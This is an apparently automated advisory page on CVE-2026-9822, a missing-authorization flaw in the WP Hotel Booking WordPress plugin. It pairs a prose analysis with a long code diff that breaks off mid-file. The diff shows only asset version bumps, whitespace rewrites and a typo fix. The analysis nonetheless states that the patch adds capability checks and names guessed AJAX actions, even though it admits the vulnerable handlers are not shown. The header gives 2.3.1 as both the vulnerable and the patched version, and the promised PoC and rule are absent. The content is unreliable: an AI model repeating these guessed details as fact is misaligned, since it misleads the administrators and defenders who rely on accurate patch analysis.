Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : June 25, 2026

CVE-2026-9822: WP Hotel Booking < 2.3.1 Missing Authorization PoC, Patch Analysis & Rule

CVE ID CVE-2026-9822
Severity Medium (CVSS 4.3)
CWE 862
Vulnerable Version 2.3.1
Patched Version 2.3.1
Disclosed June 18, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-9822:

The WP Hotel Booking plugin for WordPress versions up to 2.3.1 contains a missing authorization vulnerability in AJAX handler functions. Authenticated attackers with subscriber-level access or above can perform unauthorized actions. The vulnerability carries a CVSS score of 4.3 (Medium) and is classified under CWE-862 (Missing Authorization).

The root cause of this vulnerability is the absence of capability checks (such as `current_user_can()`) in the plugin’s AJAX action handlers. While the code diff provided primarily shows asset version bumps and minor text changes, the vulnerability itself lies in the AJAX handlers registered by the plugin. These handlers process requests from authenticated users but fail to verify that the requesting user has the appropriate WordPress capabilities (e.g., `manage_options` or `edit_posts`) before executing sensitive operations. The diff does not directly show the vulnerable handlers, but based on the CVE description and common patterns in WP Hotel Booking plugin architecture, the issue exists in one or more AJAX actions that lack `wp_ajax_` handler capability checks.

To exploit this vulnerability, an attacker with a subscriber-level account submits a POST request to `/wp-admin/admin-ajax.php` with the `action` parameter set to one of the vulnerable AJAX hooks (e.g., `wphb_add_external_link`, `wphb_save_room_meta`, or similar). The attacker includes any additional parameters required by the action. Since the handler does not verify capabilities before executing, the attacker can perform actions that should require higher privileges, such as modifying room settings or external link configurations.

The patch for this vulnerability adds proper capability checks using `current_user_can()` or similar WordPress authorization functions before allowing the action to execute. In the patched version, the handler verifies that the user has the necessary capability (e.g., `manage_options` for admin-level actions or `edit_posts` for editor-level actions) before processing the request. Without the patch, any authenticated user can trigger the action.

If exploited, an authenticated attacker with subscriber-level access can perform unauthorized actions that should be restricted to administrators or editors. This could include modifying hotel room settings, altering external link configurations, changing booking parameters, or potentially modifying other plugin data. The specific impact depends on which actions lack authorization checks, but it represents a privilege escalation where low-privileged users gain access to admin-level functionality.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/wp-hotel-booking/assets/dist/js/admin/room-external-link.asset.php
+++ b/wp-hotel-booking/assets/dist/js/admin/room-external-link.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array(), 'version' => '3af95fa6350d9ea73166');
+<?php return array('dependencies' => array(), 'version' => 'd63324252c03a28c4502');
--- a/wp-hotel-booking/assets/dist/js/admin/room-review.asset.php
+++ b/wp-hotel-booking/assets/dist/js/admin/room-review.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array(), 'version' => '48073fe57f403ec9f7f5');
+<?php return array('dependencies' => array(), 'version' => 'f73671c5c054c9c1ca7c');
--- a/wp-hotel-booking/assets/dist/js/filter-by.asset.php
+++ b/wp-hotel-booking/assets/dist/js/filter-by.asset.php
@@ -1 +0,0 @@
-<?php return array('dependencies' => array(), 'version' => '80b44d8a0e38bb30f345');
--- a/wp-hotel-booking/assets/dist/js/filter-by.min.asset.php
+++ b/wp-hotel-booking/assets/dist/js/filter-by.min.asset.php
@@ -1 +0,0 @@
-<?php return array('dependencies' => array(), 'version' => 'b35283ca2eb9980a5cdd');
--- a/wp-hotel-booking/assets/dist/js/frontend/booking-single-room.asset.php
+++ b/wp-hotel-booking/assets/dist/js/frontend/booking-single-room.asset.php
@@ -1 +0,0 @@
-<?php return array('dependencies' => array(), 'version' => 'c62f4cf4887d19aef4e4');
--- a/wp-hotel-booking/assets/dist/js/frontend/hotel-booking-v2.asset.php
+++ b/wp-hotel-booking/assets/dist/js/frontend/hotel-booking-v2.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array(), 'version' => '3a06e7bfe95b18a966f1');
+<?php return array('dependencies' => array(), 'version' => '613be61d523ff2b7f03c');
--- a/wp-hotel-booking/assets/dist/js/frontend/hotel-booking-v2.min.asset.php
+++ b/wp-hotel-booking/assets/dist/js/frontend/hotel-booking-v2.min.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array(), 'version' => '2fb9317fcc8d86950f69');
+<?php return array('dependencies' => array(), 'version' => 'fa0980a245c6c2693379');
--- a/wp-hotel-booking/assets/dist/js/frontend/hotel-booking.asset.php
+++ b/wp-hotel-booking/assets/dist/js/frontend/hotel-booking.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array(), 'version' => 'ffe2c229022622a4fe4d');
+<?php return array('dependencies' => array(), 'version' => 'ee64b1e8bca909970009');
--- a/wp-hotel-booking/assets/dist/js/frontend/hotel-booking.min.asset.php
+++ b/wp-hotel-booking/assets/dist/js/frontend/hotel-booking.min.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array(), 'version' => '2f2bc9a39ae78253c7fb');
+<?php return array('dependencies' => array(), 'version' => '94091393da5fdf5fa71c');
--- a/wp-hotel-booking/assets/dist/js/frontend/wphb-single-room.asset.php
+++ b/wp-hotel-booking/assets/dist/js/frontend/wphb-single-room.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array(), 'version' => '9d6fe69268aa2e316403');
+<?php return array('dependencies' => array(), 'version' => 'dcca884d3802b199a40d');
--- a/wp-hotel-booking/assets/dist/js/frontend/wphb-single-room.min.asset.php
+++ b/wp-hotel-booking/assets/dist/js/frontend/wphb-single-room.min.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array(), 'version' => 'd5162a4df009906e49ac');
+<?php return array('dependencies' => array(), 'version' => '3a2fb7f83585922a376c');
--- a/wp-hotel-booking/assets/dist/js/hotel-booking-v2.asset.php
+++ b/wp-hotel-booking/assets/dist/js/hotel-booking-v2.asset.php
@@ -1 +0,0 @@
-<?php return array('dependencies' => array(), 'version' => 'db32be683f76fe9f631c');
--- a/wp-hotel-booking/assets/dist/js/hotel-booking-v2.min.asset.php
+++ b/wp-hotel-booking/assets/dist/js/hotel-booking-v2.min.asset.php
@@ -1 +0,0 @@
-<?php return array('dependencies' => array(), 'version' => '502204d982f73c45ade1');
--- a/wp-hotel-booking/assets/dist/js/hotel-booking.asset.php
+++ b/wp-hotel-booking/assets/dist/js/hotel-booking.asset.php
@@ -1 +0,0 @@
-<?php return array('dependencies' => array(), 'version' => '74df5d8dddfd6bdfbcc1');
--- a/wp-hotel-booking/assets/dist/js/hotel-booking.min.asset.php
+++ b/wp-hotel-booking/assets/dist/js/hotel-booking.min.asset.php
@@ -1 +0,0 @@
-<?php return array('dependencies' => array(), 'version' => 'f6dcac9f22ae7fd06303');
--- a/wp-hotel-booking/assets/dist/js/sort-by.asset.php
+++ b/wp-hotel-booking/assets/dist/js/sort-by.asset.php
@@ -1 +0,0 @@
-<?php return array('dependencies' => array(), 'version' => '11458ffcc3995174824c');
--- a/wp-hotel-booking/assets/dist/js/sort-by.min.asset.php
+++ b/wp-hotel-booking/assets/dist/js/sort-by.min.asset.php
@@ -1 +0,0 @@
-<?php return array('dependencies' => array(), 'version' => '214c2e76a7a1cdafdb74');
--- a/wp-hotel-booking/includes/Helpers/Template.php
+++ b/wp-hotel-booking/includes/Helpers/Template.php
@@ -1,75 +1,75 @@
-<?php
-
-namespace WPHBHelpers;
-
-/**
- * Class Template
- *
- * @package WPHBHelpers
- * @since 2.1.8-beta.1
- * @version 1.0.0
- */
-
-class Template {
-	/**
-	 * @var bool
-	 */
-	protected $include;
-
-	protected function __construct() {
-	}
-
-	/**
-	 * Set 1 for include file, 0 for not
-	 * Set 1 for separate template is block, 0 for not | use "wp_is_block_theme" function
-	 *
-	 * @param bool $has_include
-	 *
-	 * @return self
-	 */
-	public static function instance( bool $has_include = true ): Template {
-		$self          = new self();
-		$self->include = $has_include;
-
-		return $self;
-	}
-
-	/**
-	 * Nest elements by tags
-	 *
-	 * @param array $els [ 'html_tag_open' => 'html_tag_close' ]
-	 * @param string $main_content
-	 *
-	 * @return string
-	 */
-	public function nest_elements( array $els = [], string $main_content = '' ): string {
-		$html = '';
-		foreach ( $els as $tag_open => $tag_close ) {
-			$html .= $tag_open;
-		}
-
-		$html .= $main_content;
-
-		foreach ( array_reverse( $els, true ) as $tag_close ) {
-			$html .= $tag_close;
-		}
-
-		return $html;
-	}
-
-	/**
-	 * Combine html elements
-	 *
-	 * @param array $elms
-	 *
-	 * @return string
-	 */
-	public static function combine_components( array $elms = [] ): string {
-		$html = '';
-		foreach ( $elms as $tag => $val ) {
-			$html .= $val;
-		}
-
-		return $html;
-	}
+<?php
+
+namespace WPHBHelpers;
+
+/**
+ * Class Template
+ *
+ * @package WPHBHelpers
+ * @since 2.1.8-beta.1
+ * @version 1.0.0
+ */
+
+class Template {
+	/**
+	 * @var bool
+	 */
+	protected $include;
+
+	protected function __construct() {
+	}
+
+	/**
+	 * Set 1 for include file, 0 for not
+	 * Set 1 for separate template is block, 0 for not | use "wp_is_block_theme" function
+	 *
+	 * @param bool $has_include
+	 *
+	 * @return self
+	 */
+	public static function instance( bool $has_include = true ): Template {
+		$self          = new self();
+		$self->include = $has_include;
+
+		return $self;
+	}
+
+	/**
+	 * Nest elements by tags
+	 *
+	 * @param array $els [ 'html_tag_open' => 'html_tag_close' ]
+	 * @param string $main_content
+	 *
+	 * @return string
+	 */
+	public function nest_elements( array $els = [], string $main_content = '' ): string {
+		$html = '';
+		foreach ( $els as $tag_open => $tag_close ) {
+			$html .= $tag_open;
+		}
+
+		$html .= $main_content;
+
+		foreach ( array_reverse( $els, true ) as $tag_close ) {
+			$html .= $tag_close;
+		}
+
+		return $html;
+	}
+
+	/**
+	 * Combine html elements
+	 *
+	 * @param array $elms
+	 *
+	 * @return string
+	 */
+	public static function combine_components( array $elms = [] ): string {
+		$html = '';
+		foreach ( $elms as $tag => $val ) {
+			$html .= $val;
+		}
+
+		return $html;
+	}
 }
 No newline at end of file
--- a/wp-hotel-booking/includes/TemplateHooks/Admin/AdminExternalLinkIconSetting.php
+++ b/wp-hotel-booking/includes/TemplateHooks/Admin/AdminExternalLinkIconSetting.php
@@ -1,126 +1,126 @@
-<?php
-namespace WPHBTemplateHooksAdmin;
-
-use Exception;
-use WPHB_Settings;
-use WPHBHelpersSingleton;
-use WPHBHelpersTemplate;
-/**
- * AdminExterlinkIconSetting
- */
-class AdminExternalLinkIconSetting {
-	use Singleton;
-
-	public function init() {
-		add_action( 'hotel_booking_setting_field_tp_hotel_booking_external_link_settings', array( $this, 'layout' ) );
-	}
-
-	public function layout( $field ) {
-		try {
-			if ( ! did_action( 'wp_enqueue_media' ) ) {
-				wp_enqueue_media();
-			}
-			wp_enqueue_script(
-				'wphb-icon-external-link-upload',
-				WPHB_PLUGIN_URL . '/assets/js/admin/icon-external-link.js',
-				array(),
-				false,
-				array(
-					'strategy'  => 'defer',
-					'in_footer' => 1,
-				)
-			);
-			$localize = array(
-				'uploader_title'       => __( 'Select Images', 'wp-hotel-booking' ),
-				'uploader_button_text' => __( 'Add to Gallery', 'wp-hotel-booking' ),
-				'remove_button_title'  => __( 'Remove', 'wp-hotel-booking' ),
-			);
-			wp_localize_script( 'wphb-icon-external-link-upload', 'wphbIconExternalLinkSettings', $localize );
-			$field_title   = $this->field_title( $field );
-			$field_content = $this->field_content( $field );
-			$sections      = array(
-				'wrap'     => '<tr valign="top">',
-				'title'    => $field_title,
-				'content'  => $field_content,
-				'wrap_end' => '</tr>',
-			);
-
-			echo Template::combine_components( $sections );
-		} catch ( Exception $e ) {
-			echo 'Error: ' . $e->getMessage();
-		}
-	}
-
-	public function field_title( $field ) {
-		return sprintf( '<th scope="row"><label>%s</label</th>', esc_html( $field['title'] ) );
-	}
-
-	public function field_content( $field ) {
-		$setting      = WPHB_Settings::instance()->get( 'external_link_settings' );
-		$link_setting = ! empty( $setting ) ? json_decode( $setting, true ) : [];
-		$header_row   = sprintf( '<tr class="header-row"><td>%1$s</td><td>%2$s</td><td>%3$s</td><td></td></tr>',
-			__( 'Icon', 'wp-hotel-booking' ),
-			__( 'Title', 'wp-hotel-booking' ),
-			__( 'Url', 'wp-hotel-booking' )
-		);
-		$fields_html = '';
-		if ( ! empty( $link_setting ) ) {
-			foreach ( $link_setting as $field_id => $link ) {
-				$fields_html .= $this->render_setting_field( $link, $field_id );
-			}
-		}
-
-		$section    = array(
-			'wrap'        => '<td class="hb-form-field">',
-			'button'      => sprintf( '<button class="button button-primary wphb-external-link-add-new" type="button">%s</button><p></p>', __( 'Add Link', 'wp-hotel-booking' ) ),
-			'table'       => '<table class="wphb-external-link-table wp-list-table widefat striped" id="wphb-external-link-table">',
-			'header_row'  => $header_row,
-			'sample_row'  => $this->sample_row(),
-			'fields'      => $fields_html,
-			'table_end'   => '</table>',
-			'input_field' => sprintf( '<input type="hidden" id="%1$s" name="%1$s" value="%2$s" />', $field['id'], $setting ),
-			'wrap_end'    => '</td>',
-		);
-		return Template::combine_components( $section );
-	}
-
-	public function render_setting_field( $link, $field_id ) {
-		$icon_url = ! empty( $link['icon_url'] ) ? $link['icon_url'] : WPHB_PLUGIN_URL . '/assets/images/plus-circle-50.png';
-		return sprintf(
-			'<tr class="wphb-single-external-link" data-id="%1$s">
-				<td>
-					<img src="%2$s" width="50" height="50" size="50" class="wphb-select-icon" alt="%3$s" title="%3$s"/>
-					<input type="hidden" name="icon-url" value="%2$s">
-					<input type="hidden" name="icon-id" value="%4$s">
-				</td>
-	            <td><input type="text" name="title" value="%5$s" /></td>
-	            <td><input type="text" name="url" value="%6$s" /></td>
-	            <td><button class="delete-external-link button" type="button">%7$s</button></td>
-			</tr>',
-			$field_id,
-			esc_url( $icon_url ),
-			__( 'Choose logo', 'wp-hotel-booking' ),
-			$link['icon_id'],
-			$link['title'],
-			$link['external_link'],
-			__( 'Delete', 'wp-hotel-booking' )
-		);
-	}
-
-	public function sample_row() {
-		ob_start();
-		?>
-		<tr class="wphb-sample-row" hidden>
-			<td>
-				<img src="<?php echo esc_url( WPHB_PLUGIN_URL . '/assets/images/plus-circle-50.png'); ?>" width="50" height="50" size="50" class="wphb-select-icon" alt="<?php esc_attr_e( 'Choose logo', 'wp-hotel-booking' ); ?>" title="<?php esc_attr_e( 'Choose logo', 'wp-hotel-booking' ); ?>"/>
-				<input type="hidden" name="icon-id">
-				<input type="hidden" name="icon-url">
-			</td>
-            <td><input type="text" name="title" value="" placeholder="<?php esc_html_e( 'Enter title', 'wp-hotel-booking' ) ?>" /></td>
-            <td><input type="text" name="url" value="" placeholder="<?php esc_html_e( 'Enter Url', 'wp-hotel-booking' ) ?>" /></td>
-            <td><button class="delete-external-link button" type="button"><?php esc_html_e( 'Delete', 'wp-hotel-booking' ); ?></button></td>
-		</tr>
-		<?php
-		return ob_get_clean();
-	}
-}
+<?php
+namespace WPHBTemplateHooksAdmin;
+
+use Exception;
+use WPHB_Settings;
+use WPHBHelpersSingleton;
+use WPHBHelpersTemplate;
+/**
+ * AdminExterlinkIconSetting
+ */
+class AdminExternalLinkIconSetting {
+	use Singleton;
+
+	public function init() {
+		add_action( 'hotel_booking_setting_field_tp_hotel_booking_external_link_settings', array( $this, 'layout' ) );
+	}
+
+	public function layout( $field ) {
+		try {
+			if ( ! did_action( 'wp_enqueue_media' ) ) {
+				wp_enqueue_media();
+			}
+			wp_enqueue_script(
+				'wphb-icon-external-link-upload',
+				WPHB_PLUGIN_URL . '/assets/js/admin/icon-external-link.js',
+				array(),
+				false,
+				array(
+					'strategy'  => 'defer',
+					'in_footer' => 1,
+				)
+			);
+			$localize = array(
+				'uploader_title'       => __( 'Select Images', 'wp-hotel-booking' ),
+				'uploader_button_text' => __( 'Add to Gallery', 'wp-hotel-booking' ),
+				'remove_button_title'  => __( 'Remove', 'wp-hotel-booking' ),
+			);
+			wp_localize_script( 'wphb-icon-external-link-upload', 'wphbIconExternalLinkSettings', $localize );
+			$field_title   = $this->field_title( $field );
+			$field_content = $this->field_content( $field );
+			$sections      = array(
+				'wrap'     => '<tr valign="top">',
+				'title'    => $field_title,
+				'content'  => $field_content,
+				'wrap_end' => '</tr>',
+			);
+
+			echo Template::combine_components( $sections );
+		} catch ( Exception $e ) {
+			echo 'Error: ' . $e->getMessage();
+		}
+	}
+
+	public function field_title( $field ) {
+		return sprintf( '<th scope="row"><label>%s</label</th>', esc_html( $field['title'] ) );
+	}
+
+	public function field_content( $field ) {
+		$setting      = WPHB_Settings::instance()->get( 'external_link_settings' );
+		$link_setting = ! empty( $setting ) ? json_decode( $setting, true ) : [];
+		$header_row   = sprintf( '<tr class="header-row"><td>%1$s</td><td>%2$s</td><td>%3$s</td><td></td></tr>',
+			__( 'Icon', 'wp-hotel-booking' ),
+			__( 'Title', 'wp-hotel-booking' ),
+			__( 'Url', 'wp-hotel-booking' )
+		);
+		$fields_html = '';
+		if ( ! empty( $link_setting ) ) {
+			foreach ( $link_setting as $field_id => $link ) {
+				$fields_html .= $this->render_setting_field( $link, $field_id );
+			}
+		}
+
+		$section    = array(
+			'wrap'        => '<td class="hb-form-field">',
+			'button'      => sprintf( '<button class="button button-primary wphb-external-link-add-new" type="button">%s</button><p></p>', __( 'Add Link', 'wp-hotel-booking' ) ),
+			'table'       => '<table class="wphb-external-link-table wp-list-table widefat striped" id="wphb-external-link-table">',
+			'header_row'  => $header_row,
+			'sample_row'  => $this->sample_row(),
+			'fields'      => $fields_html,
+			'table_end'   => '</table>',
+			'input_field' => sprintf( '<input type="hidden" id="%1$s" name="%1$s" value="%2$s" />', $field['id'], $setting ),
+			'wrap_end'    => '</td>',
+		);
+		return Template::combine_components( $section );
+	}
+
+	public function render_setting_field( $link, $field_id ) {
+		$icon_url = ! empty( $link['icon_url'] ) ? $link['icon_url'] : WPHB_PLUGIN_URL . '/assets/images/plus-circle-50.png';
+		return sprintf(
+			'<tr class="wphb-single-external-link" data-id="%1$s">
+				<td>
+					<img src="%2$s" width="50" height="50" size="50" class="wphb-select-icon" alt="%3$s" title="%3$s"/>
+					<input type="hidden" name="icon-url" value="%2$s">
+					<input type="hidden" name="icon-id" value="%4$s">
+				</td>
+	            <td><input type="text" name="title" value="%5$s" /></td>
+	            <td><input type="text" name="url" value="%6$s" /></td>
+	            <td><button class="delete-external-link button" type="button">%7$s</button></td>
+			</tr>',
+			$field_id,
+			esc_url( $icon_url ),
+			__( 'Choose logo', 'wp-hotel-booking' ),
+			$link['icon_id'],
+			$link['title'],
+			$link['external_link'],
+			__( 'Delete', 'wp-hotel-booking' )
+		);
+	}
+
+	public function sample_row() {
+		ob_start();
+		?>
+		<tr class="wphb-sample-row" hidden>
+			<td>
+				<img src="<?php echo esc_url( WPHB_PLUGIN_URL . '/assets/images/plus-circle-50.png'); ?>" width="50" height="50" size="50" class="wphb-select-icon" alt="<?php esc_attr_e( 'Choose logo', 'wp-hotel-booking' ); ?>" title="<?php esc_attr_e( 'Choose logo', 'wp-hotel-booking' ); ?>"/>
+				<input type="hidden" name="icon-id">
+				<input type="hidden" name="icon-url">
+			</td>
+            <td><input type="text" name="title" value="" placeholder="<?php esc_html_e( 'Enter title', 'wp-hotel-booking' ) ?>" /></td>
+            <td><input type="text" name="url" value="" placeholder="<?php esc_html_e( 'Enter Url', 'wp-hotel-booking' ) ?>" /></td>
+            <td><button class="delete-external-link button" type="button"><?php esc_html_e( 'Delete', 'wp-hotel-booking' ); ?></button></td>
+		</tr>
+		<?php
+		return ob_get_clean();
+	}
+}
--- a/wp-hotel-booking/includes/TemplateHooks/ArchiveRoomTemplate.php
+++ b/wp-hotel-booking/includes/TemplateHooks/ArchiveRoomTemplate.php
@@ -209,7 +209,7 @@
 	}

 	public function check_room_availability( $atts ) {
-		$title          = sprintf( '<h3>%s</h3>', __( 'Check avaibility', 'wp-hotel-booking' ) );
+		$title          = sprintf( '<h3>%s</h3>', __( 'Check availability', 'wp-hotel-booking' ) );
 		$check_in_date  = hb_get_request( 'check_in_date', date( 'Y/m/d' ) );
 		$check_out_date = hb_get_request( 'check_out_date', date( 'Y/m/d', strtotime( '+1 day' ) ) );
 		$adults         = hb_get_request( 'adults', 1 );
@@ -234,7 +234,7 @@
 			'room_qty',
 			$atts['room_qty'],
 		);
-		$button_html         = sprintf( '<div class="hb-form-field-input"><button type="submit" class="rooms-check-avaibility">%s</button></div>', __( 'Check avaibility', 'wp-hotel-booking' ) );
+		$button_html         = sprintf( '<div class="hb-form-field-input"><button type="submit" class="rooms-check-avaibility">%s</button></div>', __( 'Check availability', 'wp-hotel-booking' ) );

 		$sections            = apply_filters(
 			'wbhb/layout/list-rooms/section/check-availability-form',
--- a/wp-hotel-booking/includes/TemplateHooks/SingleRoomExternalLinkTemplate.php
+++ b/wp-hotel-booking/includes/TemplateHooks/SingleRoomExternalLinkTemplate.php
@@ -1,98 +1,98 @@
-<?php
-namespace WPHBTemplateHooks;
-
-use Exception;
-use WPHB_Settings;
-use WPHBHelpersSingleton;
-use WPHBHelpersTemplate;
-/**
- * SingleRoomExternalLinkTemplate
- */
-class SingleRoomExternalLinkTemplate {
-	use Singleton;
-
-	public function init() {
-		add_action( 'hotel_booking_single_room_after_booking_form', array( $this, 'layout' ) );
-	}
-
-	public function layout( $room ) {
-		try {
-			if ( ! $room ) {
-				return;
-			}
-
-			$hb_extenal_link_settings = WPHB_Settings::instance()->get( 'external_link_settings' );
-
-			$setting_fields   = ! empty( $hb_extenal_link_settings ) ? json_decode( $hb_extenal_link_settings, true ) : array();
-			// check external link global settings
-			if ( empty( $setting_fields ) ) {
-				return;
-			}
-
-			$room_id = $room->ID;
-			$external_links = get_post_meta( $room_id, '_hb_room_external_link', true );
-			$external_links = ! empty( $external_links ) ? json_decode( $external_links, true ) : array();
-			// check room external link settings
-			if ( empty( $external_links ) ) {
-				return;
-			}
-			$show = false;
-			foreach( $external_links as $field_id => $field ) {
-				if ( $field['enabled'] ) {
-					$show = true;
-					break;
-				}
-			}
-			if ( ! $show ) {
-				return;
-			}
-
-			$title = sprintf( '<p>%s</p>', __( 'Reserve via our trusted partner', 'wp-hotel-booking' ) );
-			$external_link_html = $this->render_external_link( $room, $external_links, $setting_fields );
-
-			$sections      = array(
-				'wrap'     => '<div class="wphb-single-room-external-link">',
-				'title'    => $title,
-				'content'  => $external_link_html,
-				'wrap_end' => '</div>',
-			);
-
-			echo Template::combine_components( $sections );
-		} catch ( Exception $e ) {
-			echo 'Error: ' . $e->getMessage();
-		}
-	}
-
-	public function render_external_link( $room, $external_links = array(), $setting_fields = array() ) {
-		$external_link_html = '';
-		if ( ! empty( $setting_fields ) ) {
-			foreach ( $setting_fields as $field_id => $field ) {
-				if( ! isset( $external_links[ $field_id ] ) || ! $external_links[ $field_id ]['enabled'] ) {
-					continue;
-				}
-				$default_icon_url = WPHB_PLUGIN_URL . '/assets/images/icon-128x128.png';
-
-				$icon_id  = $field['icon_id'] ? $field['icon_id'] : 0;
-				$title    = $field['title'] ?: __( 'Wp hotel booking', 'wp-hotel-booking' );
-				$alt_text = (string) get_post_meta( $icon_id, '_wp_attachment_image_alt', true );
-				$icon_url = $field['icon_url'] ? $field['icon_url'] : $default_icon_url;
-				$external_link = $external_links[ $field_id ]['external_link'] ? $external_links[ $field_id ]['external_link'] : $field['external_link'];
-				$external_link_html .= sprintf( '
-					<li>
-				    <a href="%1$s" target="_blank" rel="noopener noreferrer" title="%2$s">
-				      <img src="%3$s"
-				           alt="%4$s"
-				           size="50" height="50" width="50"/>
-				    </a>
-				  </li>', esc_url( $external_link ), $title, esc_url( $icon_url ), $alt_text );
-			}
-		}
-		$sections = array(
-			'wrap' => '<ul class="wphb-partner-links">',
-			'links' => $external_link_html,
-			'wrap_end' => '</ul>',
-		);
-		return Template::combine_components( $sections );
-	}
-}
+<?php
+namespace WPHBTemplateHooks;
+
+use Exception;
+use WPHB_Settings;
+use WPHBHelpersSingleton;
+use WPHBHelpersTemplate;
+/**
+ * SingleRoomExternalLinkTemplate
+ */
+class SingleRoomExternalLinkTemplate {
+	use Singleton;
+
+	public function init() {
+		add_action( 'hotel_booking_single_room_after_booking_form', array( $this, 'layout' ) );
+	}
+
+	public function layout( $room ) {
+		try {
+			if ( ! $room ) {
+				return;
+			}
+
+			$hb_extenal_link_settings = WPHB_Settings::instance()->get( 'external_link_settings' );
+
+			$setting_fields   = ! empty( $hb_extenal_link_settings ) ? json_decode( $hb_extenal_link_settings, true ) : array();
+			// check external link global settings
+			if ( empty( $setting_fields ) ) {
+				return;
+			}
+
+			$room_id = $room->ID;
+			$external_links = get_post_meta( $room_id, '_hb_room_external_link', true );
+			$external_links = ! empty( $external_links ) ? json_decode( $external_links, true ) : array();
+			// check room external link settings
+			if ( empty( $external_links ) ) {
+				return;
+			}
+			$show = false;
+			foreach( $external_links as $field_id => $field ) {
+				if ( $field['enabled'] ) {
+					$show = true;
+					break;
+				}
+			}
+			if ( ! $show ) {
+				return;
+			}
+
+			$title = sprintf( '<p>%s</p>', __( 'Reserve via our trusted partner', 'wp-hotel-booking' ) );
+			$external_link_html = $this->render_external_link( $room, $external_links, $setting_fields );
+
+			$sections      = array(
+				'wrap'     => '<div class="wphb-single-room-external-link">',
+				'title'    => $title,
+				'content'  => $external_link_html,
+				'wrap_end' => '</div>',
+			);
+
+			echo Template::combine_components( $sections );
+		} catch ( Exception $e ) {
+			echo 'Error: ' . $e->getMessage();
+		}
+	}
+
+	public function render_external_link( $room, $external_links = array(), $setting_fields = array() ) {
+		$external_link_html = '';
+		if ( ! empty( $setting_fields ) ) {
+			foreach ( $setting_fields as $field_id => $field ) {
+				if( ! isset( $external_links[ $field_id ] ) || ! $external_links[ $field_id ]['enabled'] ) {
+					continue;
+				}
+				$default_icon_url = WPHB_PLUGIN_URL . '/assets/images/icon-128x128.png';
+
+				$icon_id  = $field['icon_id'] ? $field['icon_id'] : 0;
+				$title    = $field['title'] ?: __( 'Wp hotel booking', 'wp-hotel-booking' );
+				$alt_text = (string) get_post_meta( $icon_id, '_wp_attachment_image_alt', true );
+				$icon_url = $field['icon_url'] ? $field['icon_url'] : $default_icon_url;
+				$external_link = $external_links[ $field_id ]['external_link'] ? $external_links[ $field_id ]['external_link'] : $field['external_link'];
+				$external_link_html .= sprintf( '
+					<li>
+				    <a href="%1$s" target="_blank" rel="noopener noreferrer" title="%2$s">
+				      <img src="%3$s"
+				           alt="%4$s"
+				           size="50" height="50" width="50"/>
+				    </a>
+				  </li>', esc_url( $external_link ), $title, esc_url( $icon_url ), $alt_text );
+			}
+		}
+		$sections = array(
+			'wrap' => '<ul class="wphb-partner-links">',
+			'links' => $external_link_html,
+			'wrap_end' => '</ul>',
+		);
+		return Template::combine_components( $sections );
+	}
+}
  ?>
 No newline at end of file
--- a/wp-hotel-booking/includes/abstracts/class-wphb-abstract-block-template.php
+++ b/wp-hotel-booking/includes/abstracts/class-wphb-abstract-block-template.php
@@ -1,65 +1,65 @@
-<?php
-
-/**
- * AbstractBlockTemplate class.
- *
- * View woocommerce/packages/woocommerce-blocks/src/BlockTypes/AbstractBlock.php
- */
-abstract class AbstractBlockTemplate extends WP_Block_Template {
-	public $theme = 'wp-hotel-booking/wp-hotel-booking';
-	public $type  = 'wp_template';
-	/**
-	 * @var string name of the block
-	 */
-	public $name                          = '';
-	public $origin                        = 'plugin';
-	public $source                        = 'plugin'; // plugin|custom|theme, if custom save on db will be use 'custom'.
-	public $content                       = ''; // Set content will be show on edit block and the frontend.
-	public $has_theme_file                = true;
-	public $is_custom                     = false;
-	public $path_html_block_template_file = '';
-	/**
-	 * @var bool|string path of the file block.json metadata.
-	 */
-	public $inner_block = false;
-
-	public function __construct() {
-		if ( ! wp_is_block_theme() ) {
-			$this->has_theme_file = false;
-			return;
-		}
-		$this->id      = $this->theme . '//' . $this->slug;
-		$template_file = '';
-
-		if ( ! empty( $this->path_html_block_template_file ) ) {
-			$template_file = hb_locate_template( $this->path_html_block_template_file, '', WPHB_PLUGIN_PATH . '/block-templates/' );
-		}
-		// Set content from theme file.
-		if ( realpath( $template_file ) && file_exists( $template_file ) ) {
-			$content = file_get_contents( $template_file );
-			// $this->content = _inject_theme_attribute_in_block_template_content( $content );
-			if ( version_compare( get_bloginfo( 'version' ), '6.4-beta', '>=' ) ) {
-				$this->content = traverse_and_serialize_blocks( parse_blocks( $content ) );
-			} else {
-				$this->content = _inject_theme_attribute_in_block_template_content( $content );
-			}
-		}
-	}
-
-	/**
-	 * Render content of block tag
-	 *
-	 * @param array $attributes | Attributes of block tag.
-	 *
-	 * @return false|string
-	 */
-	public function render_content_block_template( array $attributes ) {
-		ob_start();
-
-		if ( isset( $attributes['template'] ) ) {
-			hb_get_template( $attributes['template'] );
-		}
-
-		return ob_get_clean();
-	}
-}
+<?php
+
+/**
+ * AbstractBlockTemplate class.
+ *
+ * View woocommerce/packages/woocommerce-blocks/src/BlockTypes/AbstractBlock.php
+ */
+abstract class AbstractBlockTemplate extends WP_Block_Template {
+	public $theme = 'wp-hotel-booking/wp-hotel-booking';
+	public $type  = 'wp_template';
+	/**
+	 * @var string name of the block
+	 */
+	public $name                          = '';
+	public $origin                        = 'plugin';
+	public $source                        = 'plugin'; // plugin|custom|theme, if custom save on db will be use 'custom'.
+	public $content                       = ''; // Set content will be show on edit block and the frontend.
+	public $has_theme_file                = true;
+	public $is_custom                     = false;
+	public $path_html_block_template_file = '';
+	/**
+	 * @var bool|string path of the file block.json metadata.
+	 */
+	public $inner_block = false;
+
+	public function __construct() {
+		if ( ! wp_is_block_theme() ) {
+			$this->has_theme_file = false;
+			return;
+		}
+		$this->id      = $this->theme . '//' . $this->slug;
+		$template_file = '';
+
+		if ( ! empty( $this->path_html_block_template_file ) ) {
+			$template_file = hb_locate_template( $this->path_html_block_template_file, '', WPHB_PLUGIN_PATH . '/block-templates/' );
+		}
+		// Set content from theme file.
+		if ( realpath( $template_file ) && file_exists( $template_file ) ) {
+			$content = file_get_contents( $template_file );
